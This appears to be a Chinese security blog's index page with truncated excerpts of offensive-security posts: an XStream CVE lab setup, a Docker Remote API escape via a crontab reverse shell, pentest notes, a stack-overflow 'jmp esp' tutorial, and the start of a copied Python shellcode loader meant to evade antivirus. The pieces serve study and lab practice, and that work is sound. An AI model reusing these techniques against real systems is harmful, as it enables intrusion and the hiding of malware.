xStream漏洞复现(CVE-2020-26258/26259)
前言此漏洞是在编写这个月安全通告时候看到的,关于xml的。平时做项目时候也很难碰到有关xml的漏洞,刚好学习下。
正文漏洞环境:
来自于JoyChou93的代码,这份代码集成了很多java的漏洞环境,非常方便。
编辑器:Idea
部署环境
首先打开IDEA,通过git clone的方式将项目拉下来
首先要设置maven库的环境,因为idea默认会使用编辑器自带的库环境,如果本机有配置,所以最好配置一下。
配置完成,此时项目会通过pom.xml文件进行下载
根据网络带宽快慢和maven库配置因素,这一步因为maven库配置了阿里云,所以下载得挺快的。
等跑完以后,发现有报错
这里,springboot的插件问题,这里正常会爆红,此时我已经下载好了。如果爆红了,将此处添加一段代码,在重新maven即可
12这里好像是springboot的版本,但是我添加为最新版还是爆红,后面一个版本一个版本的降,直到这个版本才成功。<version>2.3.4.RELEASE</version>
漏洞复现
要复现的两个漏洞编号为:CVE-202 ...
玩vulhub靶机第四篇(Docker Remote API 未授权访问/docker逃逸)
前言最近在看到各种平台都有关于docker逃逸的文章,一直都挺好奇的,二进制的学习也卡住了,刚好研究一下其他的东西。
漏洞环境
1.Ubuntu:192.168.192.128
2.Kali:192.168.192.129
3.Vulhub漏洞靶机:https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md
漏洞详情
docker daemon api 未授权访问漏洞
漏洞复现
利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
1234import dockerclient = docker.DockerClient(base_url='http://your-ip:2375/')data = client.containers.run('alpine:latest', r'''sh -c &qu ...
记录一次平平无奇的疑似js后台渗透测试
前言作为一名专业摸鱼的等保渗透工程师,记录起了平平无奇的渗透历程。
正文今天一大早就接到了同事发的甲方授权书,不由得一喜,今天日报有东西写了。
0x1信息收集首先访问授权书上的URL,长这样👇
虽然干等保渗透,只需要测试是否有漏洞就好了,但是古语有云“知己知彼,方能百战百胜”,帐号密码手上都有了,都是普通权限。那么就看看是什么语言的后台。
打开chorme浏览器的插件,好家伙,没发现,但是看着是webpack的,可能是webpack打包构建的。部署在华为云的网站。开放的3个端口除了8080都是正常的。
在查看下源代码看下有啥东西,只发现有几个API接口,但是都是和高德,百度哪些地图的接口。
0x2初步探测进系统看看
不愧是普通权限的账号,登进来内部是真空白啊。对仅有的搜索框测试了一下XSS发现有控件事件,放弃。
点一下另一个模块
有时候就做等保渗透就很尴尬,测评师害怕渗透时候搞崩服务器,就跟甲方说权限有多低就多低,我渗透时候就尴尬了,也不是所有系统都有越权的,像这个就一个首页可以点的,还测毛。
0x3上扫描器没有任何的突破口,看源代码,发现用<script> ...
C/S架构渗透测试流程
前言为什么要写了,主要是因为每个月都会突然有一个项目,是有C/S架构的系统要渗透测试,所以其实记笔记,下次打开来看着流程测就完事了。
正文1.检查是否加壳C/S架构渗透,我个人理解中说到底就是逆向,所以第一步,首先就是查壳。这个挺简单,C/C++,delphi,VBasic这类语言的,可以使用exeinfope,PEID等软件就可以了,通常没加壳的软件都会如下图一样,直接显示是用什么语言编写的。
如果是用C#语言编写的,可以使用ScanId,若未加壳通常就会显示Unknown,除非是加了一些未知的程序检测不出来的壳。
2.查找EXE位置当查找到软件未加壳后,下一步都会尝试将其拖进反编译工具中进行分析,而有的软件会将其EXE隐藏,例如后缀为.appref-ms的软件,这是用C#语言编写的软件,软件通过连网的方式,将其下载下来后打开,但是当将其拖进反编译软件或查壳软件时,会显示不是EXE文件,这时候就得寻找他的EXE文件路径。
此类软件的路径通常是:%LocalAppData%\Apps\2.0\,进入到此目录后,搜索.exe,就会出现你要找的文件
此时就可以快乐的将其拖入反编译软 ...
有趣的二进制(Python免杀)
前言最近一直在研究免杀,慢慢的发现上线不难,过360,火绒不难,难得是添加用户,任何涉及到系统的操作,都会被360拦截下来。
正文刚开始研究免杀时,是通过溢出来操作的,但是这样子有个坏处,就是地址不好处理,每个系统的地址都不同,如果使用静态变量来存放shellcode,就会被杀毒软件检查出来,后面尝试过万能地址啊,PE添加新字段等等都无济于事,最后只能从加载器下手了,即使查杀效果确实不错。
在网上搜索看了一看各种语言的加载器,最后选择了Python的。
Python免杀生成加载器的源码是网上复制的
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081import ctypes,cPickle,base64,urllib2class test1(object): def __reduce__(self): ...
有趣的二进制(跳板)
前言前几天学习到了通过栈溢出弹窗,当时是入口地址是buffer的地址,现在了解到有一个叫跳板的玩意
ESP寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置
用内存中任意一个jmp esp指令的地址覆盖函数返回地址,而不用手工查出shellcode起始地址直接覆盖
函数返回后被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode
由于esp在函数返回时仍指向栈区(函数返回地址之后),jmp esp指令被执行后,处理器会到栈区函数返回地址之后的指令执行
重新布置shellcode,在淹没函数返回地址后,继续淹没一片栈空间,将缓冲区前边一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后,这样Jmp esp指令执行过后会恰好跳进shellcode
这种定位shellcode的方法使用进程空间里一条jmp esp指令作为跳板,不论栈帧怎么移位都能准确地跳回栈区,从而适应程序运行中shellcode内存地址的动态变化
正文找出Jmp Esp的地址直接看源码
12345678910111213141516171819202122 ...